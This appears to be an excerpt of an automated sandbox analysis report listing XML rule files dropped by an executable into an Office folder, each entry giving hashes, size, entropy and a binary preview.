Preview:	<?xml........p..@Kb>L./...ik.9.X..?.aJ9..[.......].D....... 8XE [u......T....0.W..mV.G..[6[T..+mHw.8....`(..s.....b..av..D...7K.....p{....n......He..m..#...3.m.....<.....?..%^o...c.#..&.=......!9.$.....\|..V.,.X.......Y..c6......F.W....r...K.....\..#.!.w.p..{R...0.uF.S..R(m7V;..dh;...x.l8.]v.'......S.%.Q.6Dn.0..#.......v....~PV.....++N........7....5[Y.0x(.oK..(.........3..I..!...q.07$H...;...F.WW...an....t.....&..}.x..tP.7...\|\|G.U@.s...Bx....S8:.Yy.%C.ue..s_./.r..U.CU]....N..9...RZX2......=...o.t....).(....1x..F......{..pd$;.S...c....u..0..bS.....UH.k.Ln!e...+?x)(5.V.~eJ?.eS......tP..1.5._. :....B&...-....i....M..$.4..J....{...z.!...v6....P.?.Gy.R.....X.R`..9D.....8...Y....Nm...HDCjD.T.~.v$..de.g..<.b.A..kPP.E.\P....#..LO5.>..?K...0M. .. Y.. ..v8..c................<.^N..E...".^QQ4V4..y..P..........t.zhW.V5..29>.F...........>.........5.;.k.!./....$<7..^..dc...vGm......3.2....*.i..P.e{<S..K[.%..'.h.2x`...9.T...t..).e...,...+..r..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.880134726716945
Encrypted:	false
SSDEEP:	48:2QqlkjhGPQxU3daggphv3yEg/Xly9TCo5YrGDOErD:2fiU3Fi3yEg/1yxD5Yn4
MD5:	BB65C89985949030AF48416E0CFCA9BA
SHA1:	0CC4A0012C2A2D519EA25F422174C0463F25D20A
SHA-256:	1D3134A73589463B30E077E76C9E3C19ED82179D4B50ABD90FC6DC40AA3F8BFC
SHA-512:	9B9637DA4879BCFAC6BAF7F290DE88FB60211D0601B011C965805D7A7998C65CF540C616E68130001FE44BC344AC7A7DA89983284CB733C3F6697476FDE35AA1
Malicious:	false
Preview:	<?xml.../ ...."[......?Q.X.e...^q.V.}....h.-l...G.QTU.] ..S...... ...X..D[....6.9..B.].....V.&...d.]6......-5.......\|.RP)w.~F{..y.."P..6.6..?...V..o...K.d<OE]..>d...j. `1f/..NkS.xt..Rj..=..P...Z......e;]rd_...2"...sa.&....%...k...&.......qS...}....m...R..p...NR+p.R.id....4........f.w.}....4?...xa..t....O.....U. ..S.....}j7.d&...1o.-..'..........\_\..42N.x.X.(......}>B..3.._..F.-..D1.g...f.....r=.Y.=...>B..._.Bc.S..H+3.....zb....$.......#.7.#..\|."Y/.......I\|....QhhK^.K~[v...Q...\|4L.y..9...D....\..d.+.%%.9..+D..y..;6.v./..0mw\....N.P.MqW3.p.m/J..#..?.)f...=.....N..v.Lv..@....)U{..H.... ..35.n..H...%y$.oq.(Q4.0=.....(.R.Q.D.Bz(8........9.bV..t.w,...e...;e."i.{..K...}.H[.79.'..18....[K..`.G@....u.V.0..7y+..)......{...~..>..QU'....cG..<8./!..zO..........Q.........a B.r.2.-n.CH...w.cg.2.o..(...(....k.=..'v...S.x..v.V.!... .r....I.H...0.......;+B..CoA..H.{X..a.j.=.%....A.:.-3...{.t.w.......dM.6.c.F"k;hv?K..OGO..yo.6...j.A...W.....$W..-.....k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.886263349549307
Encrypted:	false
SSDEEP:	48:vqC1QaW7t8O6cm8Za3Yp/43UJFh4QsDbQZzGrHD:vqC48xea+43UJf4Qs/QZK
MD5:	0D2428E208AC11703CFEA3B3A3E0E14B
SHA1:	A7DB695B3D50AD1B7EF16916AF61505213DA6B01
SHA-256:	00B13E45F400F65306098FB35CA096B29CF2ECC45CD8541F2660BF69DE047B03
SHA-512:	C50D943900FC0413928D5D08D323D510324331298DA0E6AC038D969710195927C11C2E582C15385AD50C918621963E3F38957C5670E46D9EB3F61265F4DEE630
Malicious:	false
Preview:	<?xml_.D.+...0c...@.d?..lA...q.'.ZpF.....F.}..Y....)./s.b.1D....O.....7C.../..=.O.h.........%.Yu..P...C... ...Q..#...R...V.,/.]..9..s......P.L.G.0X.g.D..5_...4.5.w..2....#..v>..#..Rb-.!.....59.@1.R.NU...M.[.>.lE{.lI.Xp.VL.:2..p_...0Q....7..#.'.....K.zo..B0...w.6..}H..Z%...;k..f.I...;Uj5^y.$ZC...p.i...=.:S..F..S..R..../....;..'.x.."I.K..!y*w.......1.3....gH.f.....[.65......./.....4=....F.`....#...tZ_.....X.#.....h.hIV!.q.1.P.@.K...].jrl..8...%;'..(....,...!.\|...#.....e]Wgq..:..7e@..f(..?N...{wj.....J...V..u.C8.V....8z.....!p....V...k.7.p......{..0.....Dn.If3........%K_......,.b.6s...S.q. ...J,5M(.%... .oY.,........8..X.hfS......i[......a>3w..v.\Ct.z..m...y..uRhE.OP.`..nXs...[>A.>.f.RZ(D..f4...p.?...l....+.&.F..l..KB8.J....Y.Wl..;.u....Q..o..j.:.l..m;.v..o.W.^.....A)...F/..p..w..K...... ....F.[{s(.S.A.....S..rK.d.j%...+.<.HL@.".... S.....f..F`.,....`m.....).g..H...]{....j.I.X_.A....Y..[.u.gn.S.....f..Xt..`0Z.._.F.C.......:..jJZ...]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.853451631338059
Encrypted:	false
SSDEEP:	48:bP/z4Kfd1aMd5Kfy+Fdq/31EpDktsZlAg6HKA9h+J65D:DzNd5qQP1EpDb36qmtx
MD5:	9C1F8ABD02BBF477F78C925EF6CC4F55
SHA1:	D41BC6D0D21D5EDDDB0168E19315267607167A49
SHA-256:	69A21C9BD9C91149C6BA4F824CD2EB77F5359937A835CB31A8C3A68A6530F168
SHA-512:	478749C75DD5F5B56C12A418C64BEAAB76CDD1ED1034A0083CA440C9B80945CFF21A26CCE0238297B6139CBE4EB4CDB9FF28DBFCDE295BC98AB3884DF7D2E632
Malicious:	false
Preview:	<?xml.!f.$\|.sf..D".1@.....4......`.+.g(..;.0.\...}^.z.Dcc..lD..p..z..g.K....L..U.t..../.6^.+.f^.....7...HP...0.b1.%w..F\|.8.r..b...[.].{Z:M..Xot-...g...^..tS.7....=..q...Za[.....\9.2...f.I.....v....Q.m.5...,.o.Q&.<V.Q.Q9.gc{.;.....k?5.H..D.(...z{...5=".....\.....a......z..w...z...:g.7.h;Bu.Y..P.Q.\|.X.B.....}.PN._Q~.j.~dWX;.i....FjN .x.8.d.9..n.....#..U..-.1a.=Y..y.go\|....)....z.\|/j...cf.E.\a...x...j.b..L..~.H.;6{x#0.C,.Hi#...U...G..sM....78.L.W...MQ../..F...4...`...`...u..o.^D.....x.p.G..E-.[......9(8...o...x...:b...........mvT;X.."...7u.....t.R.C.f...7.....;..gc}l....4..4.I.....St{{.D..5a..q.NPa....PlYK.;E..=D.8...L.`N..+A.....{k.@?..{...%...L.g..;..:..yEG.\|].E..........y..#4L.....F.....lh..5\|.cAn..#.(i..Y.....'@.....M !..Ej..:Y..O..K.H...~.....#}....`..f.Q.....lO....M..>.ia...hM#....@%33zQ..](H=.K.J>$.K......Y....... ...............6\|V..c.D....._%.'......".m5+....$.Q....."..{..)..4....C.:.G..uEy....,...y.6.{.0...5C.;.w..>.0..z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	7.885063847542768
Encrypted:	false
SSDEEP:	48:ls4rJk4qyJOYOvaaG8qKxsZ9p8c+79BlD:9JqyuaFdKeZwc+79Bd
MD5:	3AA60BD0AB0F3A33C452194C8EE85EA1
SHA1:	577D3E5700F0920FB111BE58C7BC78834AF35074
SHA-256:	290123B94EDEDFC6E69618BA302C69FA1D851841E99DF5629607F4C6D991EB4D
SHA-512:	E69A5C463538B86F19234A28A00F9C7A280EEF15E3114B1E705AE72A92F4DFC1CA98F2D42BA9B9EEDE8E288284C4D68039C7D9C435AFEECD9330890487E59B60
Malicious:	false
Preview:	<?xml.t.=8.2....TR...h.,.tw..D.]W...Aoct$r~....Tr.5.h.....u..5=>..D..z...Y...^.\|?.........mnqLT...KJ...).....(.]Z.a...Ko>..{P....0V............/k.d...).x.....y.....b.9.I.9h.r..]......o....t.x=C&..I...A...t.\1.y.eM...O.{...k..E.n[.x"..A....c.oZ..7v.,.z.....]J..;o..v.vy..h_".....e6]...RO00.Tgd.i...).....F.@.t.......8.....S@...{c......v...X1.^.I..V..P=x.JsJ..!..(8+.Z.$.....4.-}.,p..?Baen...-.H.&..S.!./;.ul.@..=_.$...........5.y/wj.*.....}3....+.......qcj...4.....[s<......)...j$(..r.S..W+. ..cL.sB....H.^...5.;...D7I..x..,.../.\.m.......C..F...".T...I.......X..%..wV.B.q....M.A...zv\|`.....}....!....p... ...z....5..Z..^..=...9.N....~..~R..$..\|...o.....4m$.....).?..xC......$..h...dG.....I..{...pF....`.&7...R...._...^.....A.G.....q...%...8.....(.;..P...G..../.Wg...Q..2."3...%-.vf.K...b]..75._...#.t...C.......u.. ?M"...a..Cj..U..3o.AW.Jn.\|i5'.0n.V.v......)Rb..P....~.....v;..!.(..x._...2....u..A...tT..x.,.\...G.Fif~+t....q...x%.}7.y.?X.....2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1758
Entropy (8bit):	7.8893643417689185
Encrypted:	false
SSDEEP:	48:JfqLGXkt+NeY1HAfKkHGHQJzP6SNJQgNYXD:gbt1Y1HKFAuxQ7T
MD5:	6E4F4D087A60FD5BBBBB767230DF321F
SHA1:	EB93F654CCF4588F342DE3AC9FE76502793C1823
SHA-256:	8704DB76A34861B6A1732BF60B4391B02805039F5CCACEE26065749B6F921AC5
SHA-512:	3ADC4B619BBA2ADFE58401C3AC3BC9022F29C5EDDB30F2A4C7251D8251AE32912078ACF7B285A4E9B50ED02A45E36ADD9E50CB48701CDF31FFAD9ED6BDE88587
Malicious:	false
Preview:	<?xmlP.....FQ...X..<4mh.`z.....B....FuW........xC..c._..\6{.... U..'.j..<-:&..8....VK.n.F.d...B.....d....U.d.(....@...Kd.L.i.r........j.....=.L......#.A....G...w....>.Xo..mY....P...,..vL.>....K}=5..kT.[u+.......y6#....-C.1_G.....U.db.1.e..G.@...$.%P_[.z..4x..:.%V7(......U....8#k...,.#m.Z..GV_..q%.A..b@.t...X..[...K..CMZ. ...<...I7.:.&..o.l... z.;.\..DR..."\|.;..zA...SV..+.T.m.3.F.7.8.$...J.m......=.......kq~....^.0.,.B..[... @V..Ti.-&Pl..v:._{.. .......c.C\|J....#WU.v..Z...=#...W1?.l./.k...%..[WW.;....(b.:...o]....WZ.......K...w:.a.p.^=...]...;W..=JvY...s..ot.Y....n..-T.)..8.a..h...,.b/i7..m.r...I....u...G.....b..Z8....z.GY49w.\...B..xI.......UF..&..\|.".6.......j..!.3....;..........R.c....E...y....+i..^..,0.fz14.f..C.. 81.w].A$n....e..;..w.&..'...7....>.k6....-....-.t.\|.scO\.".Q.....D...V$2..lH....q.bJ..e..L..qeW.YL..g.x.P1.....@....b..~...m..tMb.lME..L....lk-..O...8....j.{.0..}..Q..9p.44.Q.qR]4.R.W...RB..rA]o^........X.'.IHXuC....{TRqy]..,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.857779796517349
Encrypted:	false
SSDEEP:	48:m5CaqnrbehXQ2oAAWdLYVrrFaGtLrJX2/YS4N/HSZHYntD:kCfnryhAApFYVnFRR6mV5V
MD5:	29E1F1BC0C8A5636ADF4405CFD25B84C
SHA1:	4F08B63180017490ACC228C5638214974DD0B1B9
SHA-256:	EBC6B94D03D1A9DCC4AE1576BDB3B967C8B15317EE353510AEF542F8D9FF21C9
SHA-512:	E3D787AE11319B616F26C148F3C64B09E294F92205717F9456390AC5D7A971170C8AA646B2134DBE7CCD531ABDFB5DA3A82F22737C73EEA6A0AFC7EF42F8A639
Malicious:	false
Preview:	<?xmlgr..kI.l...:pQ../...#.c..o..Ik..Z)...N.....zB..6..c..9...&h..W;...V...-7...m.....5.Q>G..kvCNyNCmu..E.Z.dB.....jy...M.>.Z.rF.(%.......opj".}.u.eZ...Iw^27.!.jd.....MD...r.&...`"M....FE.}.j..uh5.M...jcO.......+.%l.......T^.(`.t.(t.`.D.)=&.....}Z..J..M.p..f...I.H.D.mY.\.R..#.I6j...(...tWx....S.Z..i....(..\..........PB.zV....o..hc.O8....kp\|.z...9.7,..g.}...M...S@..^4^.........m..Z....c$. ..2.`..`.Y.^.>W\.D.m.p.L)..FT..B...+b...]6.....A......^.@v9...W..~.a.h...?.6I../.C...P...@...,..J...K.az+].J..~....X....v...Xg..e. ...p6a......;hA.{....8.............Q.oU.2...........'.8.+..U..?..?;.1.Zy.B..P.y.6...\|M/.\o.8Y........u\|HI...E...~;....3...o...g5u...T~.7Io)#..<..sH..b....l7X.....j.w...\..&a.zn..q,P....NE...6EX...qJ7.{8.h..8.....l.y.:V.."..Q..R....-....u...hU...iS.r..(..0.(K.......uH.......\|>.....x...v$..)..i..1.2.%.Di. )...L.&;&..x....p..@}..pZ!,M7..$.w...nU......v(....7].T4E........X... 1et.f..y...A..Y../...3C...C...6.t.W......Gx....z.$.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.875203576542937
Encrypted:	false
SSDEEP:	48:GRZWjPqpYwTZEihCYU/L430EblBQaR4W22idHXD:GRELqpbhC83TXRH22idT
MD5:	028F9AFC9DDBFB7AEB5E9350A169578A
SHA1:	717460E39CA1200A7058FED2CD29E742EBD012C6
SHA-256:	8738913C48F27DA68188B8855D7E1879B2ABB51CE29725924B5A58AEF097EB7A
SHA-512:	5664A167CE82316065976AC999ECADE8095DDEF9A61DB4CFD36D3000D5F7AA16A5B6AF0FC8A3D5F02418CC1677908A2A8A79398C1FE887A3FD81AB36940EE004
Malicious:	false
Preview:	<?xml.<.}.g..W..U.NX..?XQ9v..K.?....tx\|.8......\HY..&.3De.#.M.].s......r..:...l.Whx..W.S..~A......f.ka......ldmk....F.......A.wZ.. .....W....H.(.@c.$.OY...\.}>8..L.l..^....W............Z]....r.{...k"Gq....%.'u-o.}..{)y..C..\.hG.4.9b]..\|B..v.#..MDW..(./t=.;X..... .>X.......9...j..v"..r....2a.n9%...<+..A2..Y_...r...'b..az...p-.W...+.OMKj...%m.EJ....S.D.O%S.......5a..u..@e.<y....t. .E.c.......Wy_.FtkW_s..}...e...a.Z5................H.s.eJ.m..S....M).F@:...CM3K-....v....&.J...uD..l.%vK. r}.B.....9\:s..Z.+d...4.\|......-!...S..:..].. ..Yy..k..o...e..`.T,..CS;...Sg...Qjo.!Q...I..S.......aa.@-uo+..>...-`.y$..;....}k.....2F..>..fb.....l.>.\L....@P.Z5.J@s...r..+W.J.".b-......$...AB.n"z<.S..N...c.).@4._.tK%o..B7#.....yW...+:.j...~.t...f[R1.j..k..W.......Q.z...z....W..d...3m.iW%y.^=.>.]-.+.q..e...$..0n.Q.......7z..{..A..<t.y..C.....Jb....t..y...0..A..b....M.d7..Zbt..T.YW...6.ek...%.#O....&..`..+t.g.....]N.....O$..X.....O.....~O_;.vP......J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.889967858346515
Encrypted:	false
SSDEEP:	48:w4PSh61MqrLT0jFcUesI3sVn4WQu0BV+jFjQD:w5QMqr/0jm+Vn4WQu0iC
MD5:	4CBA1CB031D9E161C909D038095EC660
SHA1:	0613D2B50C315BEEFB176FB144A679E3D9C235F5
SHA-256:	2F949C5E8A7988BECAA3F7DB322AB8AF7AAB27651820B27F9A7E5EAB7FBE30DB
SHA-512:	1301DDB1545A54F13D64A9943D260BDA474F3954DA7994AEF4C63300AE5057980D95041C9D373257547F2884291E2A519F81223488CFD71EE712735BB2ABDAF8
Malicious:	false
Preview:	<?xml...v.0)w...........X.g....;..TJm/@...Vk......w.&..9.R......~l.0..5./K.?..\|C...t.+.......<e........}D...W...O..........z..\.....M]0.c@.B..d..U.."J..#-.....C.\J A...#E.........&'R....o[.........`.t.".."....>@.......O..\|.S........2.._.....5.f....9.0...`.'P..5G:H1.....~.....xG........fcN.D...s.H....>......w...?...<.:.....P.....n..S1..2zL..y;b.HV.V..h..wd.V..j.&..I.4n.X..z-k....0.../...eY....`{g..]....4.O..&.X.h...0.?.5.u..w........)W...8.y..T.....e=...8.......o..TR...-.J{4....aB9:p....x.(....y .I...xd$.Y..\|..$.......8/.f .....TR...(...W...u.'.A...B......uy~a.>...9y.3.'....KM..I....Ma^.....)d...z..x.I.Erw,2q.6..._g9.X.z.._...x..5Mm..P%..S..Ya...6.....bU.#.....Dx".......#s;J....\.@m...f`..J.m..u'.M..#a~.F.P.......C!.....wX....O.&.....8.[.@......Q...B.r-.>\|.+...E".j.vB..J};.p...........N..&.8.<w..<.".1..=5..j.Y......{.{....pA........EN.I......9kH(....:.D,...jIE....;RX...e...L..G.[*..3.-jk\.+.(R...@.D....B.>.'....GA...c.(6.nf.2.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.873885710530091
Encrypted:	false
SSDEEP:	48:yjT9y4Mq6+donLg6sKTr9CssaDx94swGNOT4RplCf8bD:yjRy4H6JLg6b5CssaDxfwG08RXCq
MD5:	4503A83C76B23EBE94ADDC1A36560D89
SHA1:	3F0FC549710EF65F3DB5F12AC4ECAB4EA18F4BA5
SHA-256:	5ABF6AA4B8119B9802551B4D76E9F073DCC4BB88B195579B5C51A6C65212A4ED
SHA-512:	7A16C755E881508E91E6CC4FA8487338385EDB6D7C5A5DD058EADB5BA778DE54F1A5A3146E30CEEA640803277140D6D148041D825C48BFA3228D9B5534A76CD0
Malicious:	false
Preview:	<?xmls.,..y....u^8E.....#..]..^.i.9hUb....#uJ..P....._s..B.Ok&.(.V........C.....<7......+-...X..(^! .M.Jp.(X..+..J.....H..D..y....dM.c..+..Iqa,.t..0.l..g&b...Zg<J.E.>..\|....N....o.D/..L.....#....f.O.H.0"A...@.e.7..S[@..Sn.p....+..W...X.O.Z..m2....S.x....W~J..#.hr.3..X..1....<...OS..Ug..:.v0..........<.`k7^.....G..]...=!Yw?.n.k9....U..a.b.\z5.wh.'..)...6.Q.]..w?B}.!.....}....]..f.....6D..4.]s.8.I..O.0..+o.h..ZD...G^.Z.6j..."x.s...Qa...19c.`x...........b...t!.........-.U$.:......G...^M._P..2N..P.z.....s./....6.....g...z.H...G[.:r!R..I..N.8..3JT.Z.....(f.....L+..$.o.......b..n.c]1N.\...4..~B.......,.W..bW.\|."..E...a.5Z.?.(.....U.g{..O.-;=.D..)..8..wM..-...]..h...S\.t...a.l..s......C.hU.............qX.Llp+-.CA4..q.."..v#....U...% ..-.....V.or.,.H.........#.}p".Yx...`..u.e...W.<Ff..@.J...F.lO2........I`...X...]..]..w....z.i.I..&H`P.`....>...cI.y..X.AR.H<J.O..xAg.D..J............ 5]..e..v.{.5.n#Y.J..Hn=.d..$M.J6....W...r............~f=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.867607047456002
Encrypted:	false
SSDEEP:	48:3PN+b/woSoUzaqx7x2Ooixv8dEIIDUtObEXR2MnD:3PN+soSXl1xjoiqdDID0X7D
MD5:	CFD3072AC883A8FA55F6AA10E6568BBE
SHA1:	C8B3FB5FF291DCB9E24A1739834963E381102018
SHA-256:	AE317FFA302BB757EDA78D83C6D0DF26AB8420A08AD814113CE08FEAF5FA4B17
SHA-512:	581310979E9A64521C69F60F85EFAD1C2A45565BCAAC07EA762D236BDB59A60F9EDB1CC18B207F386784EE8F77BA8B5C99E549721581B07387C493A30344BF62
Malicious:	false
Preview:	<?xmlQ......Zd.w...L#.[.U.O.a.....9....QF....B..Yp.m.W.i......H.\...S.6#....u...~.J.y..>).3l8.Fg1!w..(.l./....#.W{....[......F..sw.AV.....n;..-......!!..=..a;.G.+.i".....(.27..LA.....uRUI..%.y...<w...x.:..~.0..6.H.+.....8..~a.....u..lQ...BC.........1....i.y.j.7.`...(o..2......'T....R....J8L.~..*9#.e."..{_..d...>.d..XtH.....^......TNn.KQt..Z.}..l...X.vUgx./"..:..o....v .L..~G....'^YyAC.$.[.QX..'.....d..P.......R.l.5..\|c.!.....^G.w7.A.V"...x.....h....b\...;..;.9...,;...H:..~..j;....x;e.P...{...%3...}}L....Za...(.u.R.j....q...Q..:h.S.A..5.X...........".;.f)...........t.h....xO....k...../>7...#[.".(...Q..............H......G.....1Qy!.z......(W.o..1s.....@i.7.....y.j...}.l[.......U.m7.b./.or...........>..S..../i.bDn&..P..W..O..:...$c..E.Kf....c......,8?.G.e.j.-...F...y.~..Qr..9\m.I...1..!..\|.%.X.?..3.mo.c..E.{...S...E:.n..b:...o.]6.jz.u...s.&..:.$7@9.3......^......q...r..h6.^h#..^..k<tQb......4x.}\.w=....33..D..b..M..3.H&...r......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.884883145358174
Encrypted:	false
SSDEEP:	48:R/ZaLfJR7qkCfraEQhuGlntOVXiLAddWNGD:RsXqkoQxlntOp/9
MD5:	ABA413DB4C054AEC152DD68561E7A5C6
SHA1:	293C1433F9C24EE74BC71755A91C8D644EAD3E58
SHA-256:	67B02CF6C494C3B86B79F4463395EF493BF6D8DF52123984A85066316C1F2AB5
SHA-512:	2D538D898F6BCC726011D2693D1A9DB632C2B58290E016B8E0E8749ABE0D5613BC79D98E51E535A81671F684F402C9DB7A86CCE4C4F8872789A345DBAF049943
Malicious:	false
Preview:	<?xml...,.......v.m...G]dK$2Y....JcbV.,~.-2.>..?.\|.#.t..u....].....e.n.G....ZY....f...a.8/....CD.Z....l..L.@T.z..m./...z..b..ckC.U8x..3@..P.y[....{^.......A(....A...4...x....8..".D..........XK.)z...X.>.p.PAF...QU..i.?......w...'UI.......4^.L.6.uA.Is{jf..T/.......A..?.q.}....l."..^y\|......V..L8.....`.:.e..Tx.?..Z..4..@..g{).Wd.G.'..]Fn.X6\..L......y.r.~!....!,Y.b.....V..q..$..d..7!-U..F...?..........[A.=....J .s..8..Gq.m.6.q..w.V..<.WB.:...(......%.j.@.x....,...?...Z.....J.\|W-....v0.....8pF.2....~..D=&..O...Z.13JT...5@?......u...2l.a)..o..n....=.B.,#..F\|T.D..9/8...._..>:.xg..De.)&..e..... .PQw8.#..`.(.>...]..&......W..#.......7.T...yXJ.....p.^......`...9.H..=.0hTH..A*...\|...5.."...Xp.&$tgW..,.m...U..G.../.a>F...%s..O(.FB.......>......PBd."..[......uaf...N"\.`_.....]..>...i..-..K<.`.l.C...w_...Mw0...+..C.;.{..u..9.'}.x?.....U.N.F.p..f.....@I.E,1..s..mc.} q......d..........n...z..V...D.z..W.@.3......u.....37E.\.wD._.N.6..K.n[..(..y......$.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.881576271041965
Encrypted:	false
SSDEEP:	24:VL1EHEL8QCEHG53ROctTufxMkurfT6hNXta1xiZcxiX/Vp2EudwcNofKm0rGIzgj:VOG88Sp1NT61nNp2ESwcefirGOiNfFD
MD5:	CABBCB609BA584EF5B06BC1F932EFA8A
SHA1:	DE9F998BC2B946A7BDE20137CA7D235F92E086EB
SHA-256:	C1FC6906179B1BBD1197864222C45DA7115843000F5AF05CAD747BF6BBC30D79
SHA-512:	F16F1BF17068E398C0D82A8CA36F3DA79A4BEDEEAE251A832DA0D88205FD726A7D60940A86A0CF8796909AE2B97A1A93F25567EE41081337E8E16A703DD5971B
Malicious:	false
Preview:	<?xml`..ayy]%.D1..i..O.(#....2...RD.....[TIqaW.+..lE.D.....T....3......6cj@,..^L3.<.p.C....Y.5...9../.F_vv.....fB)..S.....%.U.......=bO..;`V.E...#...s4......n.o..&.%R......R..<i.2]...2..de.....%N...-..m..).......9.\..;..8.%VM..r]r.b5Cyb.f.&(.........!.R.&....pz.PF.%...".~.=`..f..p..(..QT..\ap.O..........=5Va...:..R..d._..~...b....H.>2.7.J..H..Z...g.X..S.G.\.wPI1.).v.o}f.TPm]...`.P..G<..O.J..F.<%.b...-....qU)B<.J...;.....K&.t.1uX>4%..[..x..kI.....-..^.X.F..}.E.3~\..[u../.m.kEP.f...c.e.}..2Rkg.c..l..=.. .D.`..(B.w.a(....,.p.DI..!...\.i.....\p..$..]-....Y...\|Ba.........^...h..&J..3;...?..<...5e.d..}...37X..W)...m$.a.#....;.c...I..A..A.@...x`....2....Qjk.a..x.\|F.].)...X..~Y.....D..st.."............s.3...@..NX..m..A..DL.!..\|-.G.w...O..y.1..r.m..T_<0x N;E.a7l.L...D..G..D/.k......J..t...XE........1.be..)y..=.i.q...]..D.\...'.t(..S...y....-D...fi%.....a.j...by..'....M.x..~.1<..5..N...GGwz.9kj.......O......~.6..+s.....^.`..a1..b.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.873466556529304
Encrypted:	false
SSDEEP:	24:/PMe6Xl7piqznWvfw/QlWBa1gfGHriLEyyC0pYRx7ZqWhgxjaZ1609N1+Uk2bD:/PQXztzWnwIBOfGHeLE9npYDZbg69CuD
MD5:	D4132230A8D24E2F52ADFABCC231802A
SHA1:	F898E1C4525CE2426732F1DD23813348F0203D21
SHA-256:	27232C99E30A07BD4B159FB496B580839EF275D0D3FB046DBEF0C99D567A4C52
SHA-512:	7F2E1DD2794CD0AE47CB00851E8C9CC0819F11CD65D9EAC5A0F1899E38B09576C546E38C49F9CC6A5663A573BB1617E275B23BFBF8265959D97E2577898E97E8
Malicious:	false
Preview:	<?xml&........:...m..Z>s\.n1..8A..V5.O."i..$.....Y.{..m.H0..4^]0..1..e..../..f;f&.[.D...o..LzC?...j.Y.b93.q.un....L(..!....$esP...TD.).@...P;.6.j#..T]:......:y.2..f]......rm.=<.r.n.q....F..6{$Z..E........H.8....H1P.(.n..Q7<.`..).U......7.#....E0.#.-9}{3..._.=L..}..MbL.GH{Dw.....tu...K..\.....H....H..D_..2..V...%....8am:...r.........H......).WA..L(.%...KT...U.U..J\........7..,Vw.......A..z....'.J.l.QV..?.....m......H..4.../.J..1.rX..z..V.,.".c.w....eI..)[.mCk..5H..F.g..Z,....5Ex$....SsA.^...vY..I{..V\|..Vh-..._...B..'.(..^...x...-G@a.a..Qz.tz.:..p....x..ER....!....._eJ.Xy.d.+e..IgN.Es....+RMU..+.cj...W......+.,k6.#....(..j6W\MU0?.Xf.Z........._9%........C<.....V.....{......th......j.k...+I.R.^....5}k.[!....1.....J..'....3.....@}$.e.c2..mN.....LJ..s;.,M.4%..@.;...Y`.M..c.e.q.......Vm.^C....D.3.#.j....~.#..i....r...0....w')k....].[.^.v..N.]..sK%>.!!9SM+.)U.\..v.r?>t.u.{f.<ze...e .j.I=.1H.I...!.=R0;.,?..].nK.*..pJ.O7...eg.?.'....HDmo.H\I.HYj. cl...K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8854478532802545
Encrypted:	false
SSDEEP:	24:a2tJrGZvnmQbSQtN2jbDy98/tju1jLI7qC1lg6fB66YDKOvQp0z+2bD:a2fronXb5j2nhVjinI7qelg46lvMwD
MD5:	AF9C00684C90B35D23CB790F838C7C34
SHA1:	8A09E3CFEDCF4ACDA133F19079609625E92B00B4
SHA-256:	E0DEDFCD2261093D539F3F5B1501CD5CEDB19B32BCA4400BF11BBD79AB2C5524
SHA-512:	2B6F82A8360E557DF4E8BDB81A85E4979C4D4C0428BFDC1B7F1E4259D4C1B712B754D67226E248A4BC8CDBFE20BAAC6D3B74C9F409A4CEBA1B627F7C24110C06
Malicious:	false
